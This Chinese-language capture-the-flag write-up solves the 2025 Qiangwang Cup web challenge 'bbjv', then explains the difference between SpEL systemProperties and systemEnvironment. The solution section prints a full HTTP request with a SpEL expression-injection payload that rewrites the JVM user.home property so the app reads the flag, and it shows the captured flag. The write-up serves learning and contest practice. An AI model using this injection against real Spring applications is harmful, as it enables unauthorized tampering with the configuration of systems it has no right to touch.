Skip to content

2025 强网杯 bbjv

闲来无事,顺手写一题强网杯Web签到题。

分析

ReflectivePropertyAccessor类限制Spel表达式无法直接实例化类,也就是无法通过构造其他类进行RCE

image

题目存在对flag.txt的读取,说明其题目本意不是让我们进行rce,而是修改环境变量user.home,从而读取flag

image

给出的Dcokerfile,我们可以发现flag.txt在/tmp目录下,因此我们只需要修改系统环境变量,将user.home修改为/tmp即可获得flag

image

题解

GET /check?rule={{urlesc(#{#systemProperties['user.home']='/tmp'})}} HTTP/2.0
Host: eci-2ze848gtw123nuofjx8b.cloudeci1.ichunqiu.com:8080
sec-fetch-site: none
upgrade-insecure-requests: 1
priority: u=0, i
accept-language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1
accept-encoding: gzip, deflate, br, zstd
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
sec-fetch-mode: navigate
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
sec-fetch-dest: document

image

flag{030d206d-92ea-4c12-a96e-23e11eaaa882}

思考

systemProperties变量在Spring EL(SpEL)中,代表当前JVM中的所有系统属性,通常以java.util.Properties对象形式提供。

来源:这些属性主要来自JVM启动参数(以-D指定,如-Dfile.encoding=UTF-8),也包含JVM运行时内置属性(如java.versionuser.home等)。

systemEnvironment区别:systemProperties获取的是JVM级别的系统属性。而systemEnvironment获取的是操作系统级别的环境变量,例如PATH、JAVA_HOME等。它们是两个不同的概念。

在此环境中不存在systemEnvironment变量值。

为什么Dockerfile中没有指定user.home的值,JVM也会设置其为/root

image

JVM内置默认值

Java运行时环境会设置一系列默认的系统属性,包括:

  • user.home - 用户主目录
  • user.dir - 当前工作目录
  • java.home - Java安装目录
  • os.name - 操作系统名称

image

Copyright © 2025-present Dragonkeep